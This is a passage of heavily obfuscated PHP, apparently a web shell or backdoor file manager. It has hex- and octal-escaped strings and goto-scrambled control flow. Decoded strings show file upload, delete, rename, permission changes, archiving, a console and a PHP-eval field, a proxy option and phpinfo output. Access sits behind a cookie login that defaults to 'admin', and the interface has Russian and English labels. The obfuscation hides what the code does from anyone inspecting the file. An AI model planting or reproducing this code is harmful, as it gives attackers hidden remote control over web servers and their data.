67\154\131\66\153\x71\x42\x78\x59\x6f\x72\123\x2f\x4f\115\103\x35\x77\x69\110\x5a\x6b\154\x32\x51\x43\103\126\124\153\116\x2b\x74\162\164\x46\152\x34\x5a\123\160\x4d\155\141\x77\x44\106\x42\104\60\x6c\x43\157\171\x6e\x7a\x5a\x42\154\61\x6e\111\112\x6a\x35\65\105\x6c\x42\101\x30\x39\160\x64\x76\143\71\x62\165\x54\x31\123\131\113\x59\x42\x57\x77\x31\121\111\x43\x30\157\x4e\x59\163\152\162\106\x48\112\160\x53\153\x76\x52\x59\x73\102\x4b\103\x43\142\115\71\x48\x4c\x4e\x39\x74\127\x72\x62\161\156\152\x55\x55\107\x5a\x47\x31\101\x68\x47\x75\111\130\132\x52\x7a\x70\x51\154\x33\141\x47\167\x44\x32\x42\62\143\x5a\132\x32\172\105\157\114\x37\127\x2b\x75\66\161\x79\x41\x75\x6e\x5a\130\111\117\115\166\x51\x72\x46\x79\x6b\x71\167\124\x69\106\172\x42\x51\116\x4f\x58\152\x34\121\x4b\172\x6f\x41\x4b\x7a\x61\x6a\x74\x59\111\121\x77\101\154\166\x74\160\x6c\63\126\x35\x63\70\115\101\101\101\101\101\123\x55\x56\x4f\122\x4b\x35\103\x59\111\x49\x3d\x22\51\x3b\xd\xa\175\15\xa\x40\155\145\144\x69\141\40\163\143\162\145\x65\x6e\x20\x61\x6e\144\40\x28\x6d\141\170\x2d\x77\151\144\164\150\x3a\x37\62\60\x70\x78\x29\173\15\xa\40\x20\x74\x61\x62\154\x65\173\x64\x69\x73\x70\x6c\141\x79\x3a\x62\x6c\x6f\x63\153\x3b\175\15\12\40\40\x20\x20\x23\x66\x6d\137\x74\141\x62\x6c\145\x20\x74\x64\x7b\144\x69\x73\x70\154\x61\x79\x3a\x69\x6e\154\x69\x6e\145\73\x66\x6c\x6f\141\x74\72\x6c\145\x66\x74\x3b\175\15\xa\40\40\x20\x20\43\146\155\137\164\141\142\x6c\x65\x20\x74\x62\x6f\x64\x79\x20\164\144\72\x66\x69\x72\163\164\55\x63\150\151\154\144\x7b\167\151\144\x74\x68\72\x31\60\x30\45\x3b\x70\x61\144\144\x69\156\x67\72\x30\73\175\xd\12\40\40\40\x20\43\146\155\137\164\141\142\154\145\x20\164\142\157\144\x79\40\164\162\72\x6e\164\150\55\x63\150\x69\x6c\x64\50\62\156\53\x31\x29\173\142\141\143\153\x67\162\157\x75\156\144\55\x63\x6f\154\157\162\72\x23\105\x46\105\106\105\x46\73\x7d\xd\12\40\40\x20\x20\43\146\x6d\137\x74\141\142\154\x65\40\x74\142\x6f\144\x79\40\x74\x72\72\x6e\164\x68\x2d\x63\x68\x69\154\x64\50\x32\x6e\x29\x7b\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x2d\x63\157\x6c\157\x72\72\x23\x44\105\105\63\x45\x37\73\x7d\15\xa\40\x20\x20\40\43\x66\x6d\137\164\x61\x62\154\x65\x20\x74\162\173\144\x69\x73\160\154\x61\171\72\x62\154\x6f\143\153\x3b\146\x6c\157\141\164\72\154\x65\x66\164\73\143\154\145\x61\x72\72\154\x65\146\164\73\x77\151\x64\x74\x68\72\x31\x30\x30\x25\x3b\x7d\xd\12\x9\43\150\145\x61\x64\145\162\x5f\x74\141\142\x6c\x65\x20\56\x72\x6f\x77\62\x2c\40\43\150\x65\141\144\145\x72\137\164\x61\x62\x6c\x65\40\56\162\x6f\167\x33\40\x7b\144\x69\163\x70\x6c\x61\x79\72\151\x6e\154\151\x6e\145\73\x66\154\x6f\x61\x74\72\154\x65\146\x74\x3b\x77\x69\x64\x74\x68\x3a\61\x30\60\45\x3b\160\141\x64\x64\x69\156\x67\72\x30\x3b\175\15\12\x9\43\x68\x65\x61\144\x65\162\x5f\x74\x61\142\154\145\40\164\x61\x62\x6c\145\40\164\x64\40\x7b\144\151\163\160\154\141\x79\x3a\x69\156\x6c\151\x6e\x65\x3b\x66\x6c\157\141\164\72\x6c\x65\146\x74\73\x7d\xd\xa\175\15\12\74\57\x73\x74\171\154\145\x3e\15\xa\74\57\150\x65\141\x64\x3e\15\12\x3c\x62\x6f\144\171\x3e\xd\xa"; goto rZuI9; Namkh: echo $dIxSR; goto oAqNf; oAqNf: echo "\x3c\57\164\144\x3e\xd\xa\x3c\57\164\162\x3e\15\xa"; goto U8Tvg; l3V5T: function i51UJ($s3hkX, $qZLQM, $jadpS, $i6Wc_ = '') { goto E_vFw; Z_kul: return "\46\156\142\x73\160\73\x26\x6e\142\x73\x70\x3b\74\x61\x20\150\162\145\x66\75\x22\77" . $s3hkX . "\x3d" . base64_encode($qZLQM) . "\x22\40\164\x69\x74\x6c\145\75\42" . $i6Wc_ . "\42\x3e" . $jadpS . "\74\57\x61\76"; goto Fh0f2; Q9Q1g: fglxQ: goto Z_kul; E_vFw: if (!empty($i6Wc_)) { goto fglxQ; } goto Wb13s; Wb13s: $i6Wc_ = $jadpS . "\x20" . basename($qZLQM); goto Q9Q1g; Fh0f2: } goto L5lGK; QArTS: goto aywq1; goto exfiO; o6rw6: echo $mNXtQ; goto SzOAl; r8juH: $fOo6X = $ktmbx . "\46\x70\x61\164\x68\x3d" . $mNXtQ; goto anmht; gLmoV: echo $ktmbx; goto gWXge; IyIxW: puTZZ: goto xPKEf; GQBDN: echo $d19Xm["\154\157\147\151\156"]; goto ta6UO; OHMGG: $ZFhTA = aOsWS($mNXtQ, '', "\141\x6c\154", true); goto XbRGa; sByWL: $dIxSR .= cwqZD("\x46\151\154\145\40\165\160\144\x61\164\x65\x64"); goto gINwm; a6JVo: if (!(!isset($_COOKIE[$d19Xm["\143\x6f\157\153\151\x65\137\x6e\x61\x6d\145"]]) or $_COOKIE[$d19Xm["\x63\157\x6f\153\x69\145\x5f\156\x61\155\145"]] != $d19Xm["\154\x6f\147\151\156"] . "\x7c" . md5($d19Xm["\160\x61\x73\x73\x77\x6f\x72\144"]))) { goto V79kb; } goto ys9ed; f93G6: if (empty($_REQUEST["\x73\x61\x76\x65"])) { goto vxHMF; } goto gCkDA; GptaG: echo cWQzD("\123\165\142\155\x69\x74"); goto APSj3; Uo2js: H3CZ8: goto Wogic; GM2YN: echo "\x22\x9\15\xa\x9\x2c\164\x6f\x6f\154\x62\x61\x72\72\40\42\x73\145\x61\162\x63\150\x2c\40\x67\x6f\x5f\164\x6f\137\x6c\151\x6e\x65\x2c\x20\174\54\x20\x75\156\x64\157\x2c\x20\x72\x65\144\x6f\54\x20\x7c\54\x20\163\145\x6c\145\x63\164\x5f\x66\x6f\x6e\164\x2c\x20\x7c\x2c\x20\x73\x79\x6e\x74\141\170\x5f\x73\x65\154\145\x63\x74\x69\x6f\156\54\40\x7c\x2c\x20\x63\x68\141\156\147\x65\137\x73\155\157\x6f\164\x68\x5f\163\x65\x6c\145\x63\x74\151\x6f\156\54\40\x68\x69\147\x68\x6c\151\147\150\164\54\40\162\x65\163\145\164\x5f\x68\x69\x67\150\154\151\147\150\164\54\40\x7c\54\x20\150\145\x6c\x70\42\xd\xa\x9\54\x73\x79\156\164\141\170\x5f\x73\145\x6c\x65\143\164\x69\x6f\x6e\137\x61\154\154\157\167\x3a\x20\42\143\x73\x73\54\x68\164\x6d\154\x2c\152\x73\54\x70\x68\160\54\x70\171\164\150\x6f\x6e\x2c\170\155\x6c\54\143\54\x63\x70\x70\x2c\x73\161\x6c\54\142\x61\x73\x69\143\x2c\160\141\163\42\xd\12\11\x7d\x29\73\xd\xa\175\51\x3b\xd\xa\x3c\x2f\163\x63\x72\x69\x70\x74\x3e\15\12"; goto UQ8nb; uNb9D: $dIxSR .= cwqZd("\124\x61\x73\153") . "\x20\x22" . cWqZd("\101\162\143\150\151\x76\x69\156\147") . "\x20" . $JWqhb . "\x22\x20" . CwQzd("\144\157\156\x65") . "\x2e\46\156\142\163\160\x3b" . i51uJ("\144\157\167\x6e\x6c\157\141\144", $mNXtQ . $JWqhb, cwQZd("\x44\157\167\156\154\x6f\x61\x64"), CwQzD("\x44\x6f\167\156\154\157\141\144") . "\x20" . $JWqhb) . "\46\x6e\142\163\x70\73\74\x61\40\150\x72\145\x66\75\x22" . $ktmbx . "\x26\144\x65\154\x65\164\145\75" . $JWqhb . "\x26\x70\x61\164\x68\x3d" . $mNXtQ . "\42\x20\164\151\x74\154\x65\x3d\42" . CwQzD("\x44\145\x6c\x65\x74\145") . "\x20" . $JWqhb . "\42\x20\x3e" . CwQZD("\104\145\x6c\145\x74\145") . "\x3c\57\x61\76"; goto RkqUa; ll7mu: G6usN: goto zKnlX; EY1lH: $dIxSR .= CwQzd("\x45\162\162\157\162\40\x6f\x63\x63\165\x72\x72\x65\144"); goto lqKB0; S_YI5: aywq1: goto jkuQM; tqUHA: LHNk_: goto E3qOE; Tjxgb: Jbp28: goto FhkhF; zW_x3: Xn6ze: goto eWuN2; az7gt: $r3pxp = preg_match("\x23" . $oUtWp . "\x5f\164\145\x6d\160\154\x61\164\145\x73\x5b\x5c\x73\x5d\77\x5c\75\133\x5c\163\135\77\x27\x5c\173\134\x22\x28\56\x2a\77\x29\134\x22\134\175\47\73\43", $KB7Dj, $D8ooi); goto cmbc7; ZZ1ZN: TeC8m: goto ZSTkn; mPzX4: ${$oUtWp . "\x5f\x74\x65\155\160\x6c\141\164\145\163"} = $B3KcH; goto y4L9Z; KK41y: echo "\42\76\15\xa\x9\x9\x9\11\x3c\x2f\x66\x6f\x72\x6d\76\xd\12\11\11\11"; goto L1pKC; Rmgtz: function QdlGj($k3VuR) { goto gY4Jc; cQLTc: $YsQH2 .= $ike0g . $R_CQX . $k7ADd; goto mzrzy; uJsCl: $YsQH2 = "\60"; goto o0SwW; gY4Jc: $k3VuR = str_pad($k3VuR, 9, "\55"); goto CueGN; l9iET: $k3VuR = strtr($k3VuR, $asx1m); goto uJsCl; o0SwW: $ike0g = (int) $k3VuR[0] + (int) $k3VuR[1] + (int) $k3VuR[2]; goto BCpdZ; DPwJA: $k7ADd = (int) $k3VuR[6] + (int) $k3VuR[7] + (int) $k3VuR[8]; goto cQLTc; mzrzy: return intval($YsQH2, 8); goto fPBUC; CueGN: $asx1m = array("\55" => "\60", "\162" => "\x34", "\x77" => "\x32", "\170" => "\x31"); goto l9iET; BCpdZ: $R_CQX = (int) $k3VuR[3] + (int) $k3VuR[4] + (int) $k3VuR[5]; goto DPwJA; fPBUC: } goto Gmb4R; r_PQT: $dIxSR .= CWqzD("\x45\x72\162\x6f\162\x20\x6f\x63\x63\165\x72\162\145\144"); goto NSItf; ZKBtk: echo cWqZD("\102\x61\143\153"); goto T3aB9; xobV3: ini_set("\144\151\163\160\x6c\141\x79\137\x65\162\162\157\162\x73", "\x31"); goto e4b3D; Hq8ed: B2Y0l: goto hebAs; qzjX0: $VsbYS->buildFromDirectory($slCOq); goto xqaNf; KR3ik: goto aywq1; goto ll7mu; ksC16: $BnHN0 = $O4Dbg; goto CJJkL; ta6UO: echo "\x9\11\11\x3c\x69\156\160\165\164\x20\164\x79\160\145\75\x22\x73\x75\142\155\x69\164\42\x20\x76\141\x6c\x75\x65\75\42"; goto N08Ve; BfUCx: goto KCyLy; goto nTS3u; XTxJe: YshQ0: goto VkwXu; kdIm6: if (!(isset($_GET["\x70\162\x6f\170\171"]) && !empty($s97BH["\145\x6e\141\x62\x6c\x65\x5f\160\x72\x6f\170\171"]))) { goto KTJHv; } goto u9_W2; amvJB: unlink($KoyTP . "\56\147\x7a"); goto zbdhB; NFcC_: echo "\x22\x20\x2f\76\15\12\11\x9\x9\74\57\x66\x6f\162\155\76\xd\12\11\x9"; goto oSq10; JrOHS: ucsUv: goto f9LMW; iScMw: echo $qZLQM; goto Ckone; G2JJR: echo CwQZd("\x52\x65\x73\145\x74"); goto EfsFH; WgWq5: set_time_limit(0); goto GH3KK; DKp3X: goto Gd9b_; goto bJJEA; QWRWo: echo cwqzD("\122\x65\x63\165\162\163\x69\166\145\40\x73\145\x61\x72\x63\x68"); goto JYpQM; cvPO3: UvRt2: goto eBa_t; aTENr: $d19Xm["\x6c\157\147\x69\x6e"] = isset($d19Xm["\154\x6f\x67\x69\x6e"]) ? $d19Xm["\154\157\147\x69\156"] : "\x61\x64\155\x69\156"; goto Rmu1D; DayZI: $JWqhb .= "\56\x67\x7a"; goto gFHeH; Px6R9: echo "\74\x2f\164\x68\76\15\xa\74\x2f\x74\x72\76\15\12"; goto krw8L; FVWRv: curl_setopt($I_70P, CURLOPT_HEADER, 0); goto V4PTm; gzBXX: echo $zqLqB; goto K_nw_; VaBRi: $dIxSR .= CWQzd("\105\162\162\157\162\x20\x6f\143\x63\165\x72\162\145\x64"); goto uei1f; CN8dK: bVhcm: goto Uo2js; i4J7N: $eZlM7 = isset($_POST[$zqLqB . "\137\164\x70\154"]) ? $_POST[$zqLqB . "\x5f\x74\x70\154"] : ''; goto ww2Oc; Gei4Z: $VsbYS->buildFromDirectory($slCOq); goto i87cK; amQzd: goto dF1we; goto KIb27; GTrvM: if (!isset($_GET["\x70\150\x70\x69\156\146\157"])) { goto xm0aQ; } goto Rc8iv; IZvqb: if (empty($vQR8H)) { goto bVhcm; } goto UOpRE; l7YUQ: echo cWqZd("\x46\x69\x6c\x65\x20\x6d\141\x6e\x61\x67\x65\162") . "\x20\55\x20" . $mNXtQ; goto Jvv2Q; Qze8k: goto LHNk_; goto epU3c; LJKPl: $_COOKIE["\x66\x6d\x5f\154\x61\156\147"] = $_POST["\x66\x6d\x5f\154\141\156\x67"]; goto v6fxV; NScp3: if (!is_dir($mNXtQ . $_REQUEST["\162\151\147\150\x74\x73"])) { goto a1hTB; } goto adaTZ; ym8UP: unlink($KoyTP); goto zW_x3; dhw2M: if (!$Mq012) { goto QgeqR; } goto H9hXQ; YHFwT: $BLfec = "\x7b\42\151\x64\42\x3a\42\x72\165\x22\x2c\42\x41\144\144\42\x3a\x22\320\224\xd0\xbe\320\xb1\320\xb0\xd0\262\xd0\270\xd1\202\xd1\214\42\54\x22\101\x72\145\x20\x79\x6f\165\40\163\x75\162\x65\40\x79\x6f\x75\40\167\141\x6e\x74\x20\x74\x6f\40\144\x65\x6c\145\164\145\40\164\x68\x69\163\x20\144\151\x72\x65\143\x74\x6f\x72\171\x20\50\162\x65\x63\165\x72\x73\x69\166\x65\x6c\x79\x29\77\x22\72\x22\xd0\222\321\213\x20\xd1\203\320\262\320\265\xd1\200\xd0\265\xd0\xbd\xd1\213\54\40\xd1\207\321\202\320\276\40\xd1\x85\xd0\xbe\xd1\x82\320\xb8\xd1\x82\320\265\40\xd1\203\320\264\320\260\320\273\xd0\270\xd1\x82\xd1\x8c\x20\321\x8d\321\x82\xd1\x83\x20\320\277\xd0\260\xd0\277\xd0\272\321\203\x20\x28\xd1\x80\xd0\265\xd0\xba\321\x83\xd1\x80\321\x81\320\270\xd0\xb2\xd0\xbd\320\276\x29\x3f\x22\54\x22\x41\x72\145\x20\171\157\165\x20\163\x75\x72\145\x20\x79\x6f\165\40\x77\x61\156\164\x20\164\157\40\x64\145\154\145\x74\145\x20\x74\150\151\163\x20\x66\151\x6c\x65\77\42\x3a\42\320\x92\xd1\x8b\40\xd1\x83\xd0\xb2\320\265\321\x80\320\265\xd0\275\xd1\213\x2c\x20\xd1\207\321\202\xd0\xbe\40\xd1\205\xd0\276\321\x82\320\xb8\xd1\x82\320\xb5\x20\xd1\203\320\xb4\xd0\260\320\xbb\320\xb8\321\202\321\214\40\xd1\215\321\x82\320\276\321\202\x20\321\x84\320\260\xd0\271\320\xbb\77\42\x2c\x22\101\x72\x63\x68\151\166\x69\x6e\147\42\72\42\xd0\x90\321\x80\321\x85\320\270\xd0\xb2\xd0\xb8\321\x80\320\276\320\262\xd0\xb0\321\x82\xd1\214\x22\54\42\x41\165\x74\150\157\162\x69\172\141\x74\x69\157\156\x22\x3a\42\320\220\320\xb2\xd1\202\xd0\276\321\200\xd0\xb8\320\xb7\xd0\xb0\321\206\xd0\xb8\xd1\217\x22\x2c\x22\102\x61\143\153\x22\72\42\320\235\320\xb0\xd0\267\xd0\xb0\xd0\264\42\x2c\42\x43\141\156\143\x65\154\42\x3a\42\320\236\xd1\202\xd0\xbc\320\265\320\275\320\xb0\x22\54\x22\103\x68\x69\156\x65\163\145\42\x3a\42\320\x9a\320\xb8\xd1\202\320\xb0\320\xb9\xd1\201\xd0\xba\xd0\270\xd0\271\42\54\x22\x43\x6f\155\160\x72\145\x73\163\x22\x3a\42\xd0\xa1\xd0\xb6\320\xb0\xd1\x82\321\x8c\42\54\x22\103\x6f\x6e\163\x6f\x6c\x65\42\x3a\42\xd0\232\320\xbe\320\xbd\xd1\201\320\276\320\xbb\321\214\42\x2c\42\x43\157\157\x6b\x69\145\x22\72\x22\320\232\321\x83\320\xba\xd0\270\42\x2c\x22\103\x72\145\x61\164\x65\144\42\x3a\42\xd0\241\320\xbe\320\xb7\320\264\320\260\xd0\xbd\x22\54\42\104\141\x74\145\42\x3a\x22\xd0\224\xd0\260\321\x82\xd0\260\x22\x2c\x22\104\141\x79\x73\x22\72\x22\xd0\224\320\xbd\320\265\320\271\42\x2c\42\x44\145\x63\x6f\x6d\160\x72\145\x73\163\42\x3a\42\320\xa0\320\xb0\321\201\320\xbf\xd0\260\xd0\272\xd0\276\xd0\xb2\xd0\xb0\321\202\xd1\x8c\42\54\42\104\x65\x6c\145\x74\145\x22\72\42\xd0\xa3\320\xb4\320\xb0\xd0\xbb\320\270\321\x82\xd1\214\x22\x2c\42\104\x65\154\145\164\x65\144\x22\72\x22\xd0\xa3\320\xb4\xd0\xb0\xd0\xbb\320\xb5\xd0\xbd\xd0\xbe\x22\x2c\42\104\157\167\156\x6c\157\141\x64\x22\72\x22\xd0\xa1\xd0\xba\320\xb0\xd1\x87\xd0\260\xd1\x82\321\214\x22\54\42\144\x6f\156\145\42\x3a\x22\320\xb7\xd0\xb0\xd0\272\320\276\xd0\275\321\x87\320\xb5\xd0\xbd\320\xb0\42\54\x22\x45\x64\151\164\x22\72\x22\xd0\240\xd0\265\320\264\xd0\260\xd0\272\xd1\x82\320\270\321\200\320\276\xd0\262\xd0\260\321\x82\xd1\214\42\54\42\x45\x6e\x74\x65\162\x22\x3a\x22\320\222\321\205\xd0\xbe\xd0\xb4\42\x2c\42\x45\x6e\x67\x6c\151\x73\x68\42\x3a\42\320\x90\xd0\xbd\xd0\xb3\320\273\320\270\xd0\271\xd1\201\320\272\xd0\270\320\271\x22\54\x22\x45\162\x72\x6f\162\40\157\143\143\x75\x72\x72\145\144\x22\x3a\42\320\237\xd1\x80\320\xbe\xd0\xb8\320\267\320\276\xd1\x88\xd0\273\320\260\40\xd0\276\321\x88\320\270\320\xb1\320\272\320\260\x22\x2c\42\106\151\x6c\x65\x20\x6d\x61\x6e\141\147\145\162\x22\x3a\42\320\244\xd0\260\xd0\xb9\320\xbb\xd0\xbe\xd0\262\xd1\x8b\320\xb9\40\xd0\274\320\265\320\xbd\320\265\xd0\xb4\320\xb6\320\xb5\xd1\200\x22\x2c\x22\x46\151\x6c\x65\x20\163\x65\x6c\145\x63\x74\x65\x64\x22\x3a\42\320\x92\xd1\213\320\261\xd1\200\320\xb0\xd0\xbd\x20\xd1\x84\xd0\260\320\xb9\320\xbb\x22\54\x22\x46\151\154\145\40\165\160\144\x61\164\x65\x64\x22\x3a\42\xd0\xa4\xd0\xb0\320\xb9\xd0\273\x20\321\201\320\276\321\x85\xd1\x80\320\xb0\xd0\275\xd0\265\320\xbd\x22\54\x22\106\x69\154\x65\x6e\x61\x6d\x65\x22\x3a\x22\320\x98\xd0\274\321\217\40\xd1\204\320\260\xd0\271\320\xbb\xd0\xb0\42\x2c\x22\x46\151\154\x65\x73\40\x75\x70\154\x6f\141\144\145\x64\x22\x3a\x22\xd0\xa4\xd0\xb0\xd0\xb9\xd0\xbb\x20\320\xb7\xd0\260\xd0\263\321\200\321\203\320\266\320\265\320\xbd\42\54\x22\106\162\x65\156\x63\x68\42\72\x22\320\xa4\xd1\200\320\xb0\xd0\275\xd1\x86\321\x83\320\267\xd1\x81\320\xba\320\xb8\xd0\271\42\54\x22\107\x65\156\x65\162\141\x74\151\x6f\x6e\x20\x74\151\x6d\x65\42\72\42\xd0\x93\xd0\265\xd0\275\320\265\xd1\200\320\xb0\321\x86\xd0\270\321\217\40\321\x81\321\202\xd1\200\320\xb0\xd0\xbd\xd0\xb8\321\206\xd1\x8b\42\x2c\x22\x47\145\x72\x6d\x61\x6e\x22\x3a\42\320\x9d\xd0\265\320\xbc\320\xb5\xd1\206\320\272\xd0\270\xd0\271\x22\54\x22\110\157\155\x65\42\x3a\x22\xd0\224\xd0\xbe\xd0\274\xd0\xbe\320\271\x22\x2c\x22\x51\165\151\164\42\x3a\x22\xd0\222\321\213\321\205\xd0\xbe\320\xb4\42\x2c\x22\114\x61\x6e\147\165\141\x67\145\x22\x3a\x22\xd0\257\xd0\267\321\x8b\320\xba\x22\x2c\x22\114\157\x67\x69\156\x22\72\x22\xd0\x9b\xd0\xbe\xd0\xb3\320\xb8\320\275\42\x2c\42\x4d\141\x6e\x61\x67\x65\42\72\x22\320\243\320\xbf\xd1\200\320\xb0\xd0\262\xd0\xbb\xd0\xb5\320\275\xd0\270\xd0\265\x22\54\x22\x4d\141\153\145\40\x64\151\162\x65\143\x74\157\x72\x79\x22\x3a\x22\xd0\xa1\xd0\xbe\320\267\320\264\xd0\260\xd1\x82\xd1\x8c\x20\320\277\320\260\xd0\xbf\xd0\272\321\203\x22\x2c\42\116\x61\x6d\145\42\72\42\320\x9d\xd0\260\xd0\xb8\xd0\274\320\265\xd0\xbd\320\xbe\320\xb2\320\xb0\xd0\275\xd0\270\xd0\265\42\x2c\x22\116\145\x77\42\72\x22\xd0\235\xd0\xbe\xd0\262\320\276\xd0\xb5\x22\54\42\116\145\167\40\146\x69\x6c\x65\x22\72\x22\xd0\x9d\xd0\xbe\xd0\262\xd1\x8b\xd0\271\x20\321\204\320\260\320\271\320\273\x22\54\x22\156\x6f\x20\x66\x69\154\x65\163\x22\72\x22\320\xbd\xd0\265\321\x82\40\xd1\204\xd0\260\320\271\320\xbb\xd0\xbe\320\262\x22\x2c\42\x50\x61\163\163\167\157\162\x64\x22\72\x22\320\237\xd0\260\321\x80\xd0\xbe\xd0\273\321\214\x22\54\x22\x70\x69\143\x74\x75\x72\145\x73\42\72\42\xd0\270\320\267\xd0\276\320\261\xd1\x80\320\260\320\xb6\320\265\320\275\320\xb8\321\x8f\42\54\x22\x52\x65\x63\165\162\x73\151\166\145\154\x79\42\72\x22\320\240\xd0\xb5\xd0\272\321\203\321\200\321\x81\xd0\270\320\xb2\xd0\xbd\xd0\xbe\x22\54\42\x52\145\x6e\x61\155\145\42\x3a\42\320\x9f\xd0\xb5\321\200\320\xb5\xd0\xb8\320\xbc\xd0\265\xd0\275\xd0\276\xd0\xb2\320\xb0\321\202\321\214\42\x2c\42\122\145\x73\145\164\x22\x3a\x22\320\241\xd0\261\321\x80\320\xbe\xd1\x81\320\xb8\xd1\x82\321\214\42\x2c\x22\122\145\x73\145\164\40\x73\x65\164\x74\151\x6e\147\163\x22\72\x22\320\xa1\320\xb1\321\x80\320\xbe\321\201\320\270\321\202\xd1\x8c\x20\320\xbd\xd0\260\321\x81\xd1\202\321\200\320\276\xd0\271\320\272\xd0\xb8\42\x2c\x22\x52\x65\163\164\x6f\x72\x65\x20\x66\151\x6c\x65\40\164\x69\155\145\40\x61\146\164\x65\x72\40\x65\144\x69\164\151\156\147\x22\72\42\xd0\x92\xd0\xbe\xd1\201\xd1\201\xd1\202\xd0\260\xd0\275\xd0\260\xd0\262\xd0\273\xd0\270\320\xb2\xd0\260\321\x82\xd1\214\x20\xd0\262\321\x80\xd0\265\320\xbc\xd1\217\40\xd1\x84\320\xb0\320\xb9\xd0\273\320\xb0\x20\xd0\277\xd0\276\xd1\201\xd0\xbb\xd0\265\x20\321\200\xd0\xb5\320\xb4\320\xb0\320\272\xd1\x82\xd0\270\321\x80\320\276\xd0\xb2\320\xb0\xd0\275\320\270\321\217\42\54\42\x52\x65\163\x75\154\164\42\x3a\42\320\xa0\xd0\xb5\320\267\xd1\203\xd0\xbb\xd1\214\321\202\320\xb0\xd1\202\x22\54\x22\122\x69\x67\x68\x74\163\x22\x3a\42\320\237\xd1\200\xd0\xb0\xd0\xb2\xd0\xb0\42\54\42\x52\x75\x73\163\x69\x61\x6e\x22\72\42\320\xa0\321\203\xd1\x81\321\x81\xd0\272\xd0\270\320\271\x22\x2c\42\123\x61\x76\145\42\x3a\42\320\xa1\320\xbe\321\x85\xd1\200\320\xb0\320\275\320\270\321\202\321\214\42\x2c\x22\x53\145\x6c\x65\x63\164\x22\72\x22\320\x92\321\213\xd0\xb1\xd0\265\321\200\320\xb8\321\202\xd0\xb5\x22\x2c\x22\x53\145\154\145\143\164\40\164\x68\145\x20\x66\x69\154\x65\x22\x3a\x22\320\222\321\x8b\320\261\xd0\265\321\x80\xd0\270\xd1\202\xd0\xb5\40\xd1\204\320\260\xd0\xb9\320\273\x22\54\x22\x53\x65\164\164\x69\x6e\147\163\42\x3a\x22\xd0\235\320\260\xd1\201\321\x82\xd1\x80\320\276\320\xb9\xd0\xba\320\260\x22\x2c\x22\123\x68\x6f\x77\x22\x3a\x22\320\x9f\320\276\320\xba\xd0\xb0\xd0\xb7\320\260\xd1\x82\321\x8c\42\54\42\x53\x68\157\167\x20\163\151\x7a\x65\40\157\146\40\164\150\x65\40\146\x6f\x6c\x64\x65\x72\x22\72\42\320\237\xd0\276\xd0\xba\xd0\260\xd0\xb7\xd1\x8b\320\xb2\xd0\260\321\202\xd1\x8c\40\xd1\200\xd0\260\320\267\320\274\xd0\xb5\xd1\x80\40\320\xbf\xd0\xb0\xd0\277\320\xba\xd0\xb8\42\x2c\x22\123\151\x7a\x65\x22\x3a\42\320\xa0\xd0\xb0\320\267\xd0\xbc\320\xb5\xd1\200\42\x2c\42\x53\160\x61\x6e\151\x73\x68\42\x3a\x22\320\x98\321\201\320\277\320\260\xd0\xbd\321\201\320\xba\xd0\270\320\xb9\x22\54\x22\123\x75\142\155\x69\x74\x22\72\x22\320\x9e\321\202\xd0\xbf\xd1\200\320\260\xd0\262\320\xb8\xd1\202\321\214\x22\54\42\x54\x61\163\153\x22\72\x22\320\227\xd0\260\320\264\320\xb0\321\207\320\260\42\x2c\42\x74\x65\x6d\160\x6c\141\x74\x65\163\42\72\42\321\210\320\xb0\xd0\xb1\320\273\320\276\320\275\321\x8b\x22\x2c\42\x55\153\x72\141\x69\x6e\151\141\156\42\x3a\x22\xd0\xa3\320\272\321\x80\320\xb0\xd0\xb8\xd0\xbd\xd1\x81\xd0\272\320\xb8\320\271\x22\x2c\x22\125\x70\x6c\x6f\141\144\x22\x3a\x22\xd0\227\xd0\xb0\xd0\263\xd1\x80\321\x83\xd0\267\320\270\321\x82\xd1\x8c\42\x2c\x22\x56\141\154\165\x65\x22\72\x22\320\227\320\275\xd0\260\321\x87\xd0\xb5\320\275\320\270\xd0\xb5\42\x2c\x22\x48\x65\154\x6c\157\42\72\x22\320\x9f\xd1\200\320\xb8\xd0\262\320\265\xd1\202\x22\x2c\42\106\157\165\x6e\x64\40\x69\156\40\x66\151\154\145\163\42\x3a\x22\320\235\xd0\260\320\271\xd0\xb4\xd0\265\xd0\275\xd0\xbe\40\320\xb2\x20\xd1\x84\320\xb0\xd0\xb9\xd0\xbb\xd0\260\xd1\205\42\54\x22\123\145\141\162\143\150\42\72\42\xd0\237\xd0\xbe\320\xb8\321\x81\320\272\42\54\x22\122\145\143\165\x72\x73\151\166\x65\x20\163\x65\x61\162\x63\x68\x22\x3a\x20\x22\320\240\320\265\320\xba\xd1\203\xd1\x80\321\x81\320\270\320\xb2\320\xbd\xd1\213\320\271\x20\320\277\xd0\xbe\xd0\xb8\xd1\x81\xd0\xba\x22\54\42\115\x61\163\x6b\x22\72\42\xd0\234\xd0\xb0\xd1\x81\xd0\xba\xd0\260\x22\x7d"; goto OvUnp; Apq0S: goto KCyLy; goto rF1rO; zor3Q: echo "\42\76\xd\12\x9\11\x9\x3c\57\146\157\162\155\x3e\xd\xa\11\x9"; goto IT0jK; jUSez: echo "\x20\74\151\x6e\x70\x75\164\x20\164\x79\x70\145\75\x22\x74\x65\170\164\42\40\156\x61\155\x65\x3d\42\162\151\x67\x68\x74\x73\x5f\166\x61\154\x22\40\x76\141\154\165\145\x3d\x22"; goto K1964; vp9zE: $fOo6X = $ktmbx . "\46\x70\x61\164\150\75" . $mNXtQ; goto WebuX; B0mau: die; goto JORsY; OYHwh: Oemcj: goto GTrvM; rjAvH: Cetao: goto HAQuR; g0cCw: N9HqQ: goto ekyCL; xOvbd: echo "\x20\x7c\x20" . cwqZD("\x47\x65\x6e\145\162\141\x74\x69\x6f\156\x20\164\151\155\145") . "\x3a\x20" . round($iRlN9, 2); goto Pyanr; gssTl: DerS1: goto Bp4oU; K_t76: tKuye: goto Apq0S; frFSB: goto KCyLy; goto zorX5; c3ySp: if (!(!empty($s97BH["\163\150\x6f\x77\137\x78\154\x73"]) && !empty($qZLQM))) { goto veYJ4; } goto sgHNV; lcriv: $ZBccG = empty($_POST["\160\x68\160"]) ? '' : $_POST["\160\x68\x70"]; goto ZdCbN; HCBi8: if (isset($_POST["\x66\155\137\x6c\157\147\x69\156"])) { goto HaF2L; } goto A53ql; MlsQu: goto Gd9b_; goto ywrG9; KAc0x: echo $ktmbx; goto v8KEW; CIBAD: $_COOKIE[$d19Xm["\x63\x6f\157\x6b\151\145\137\x6e\x61\155\145"]] = $d19Xm["\154\157\x67\151\x6e"] . "\174" . md5($d19Xm["\x70\141\x73\163\x77\157\x72\144"]); goto X4jcO; xtGpj: goto T_neM; goto rUVgv; CyNVI: exit(0); goto DKp3X; iaw5z: goto 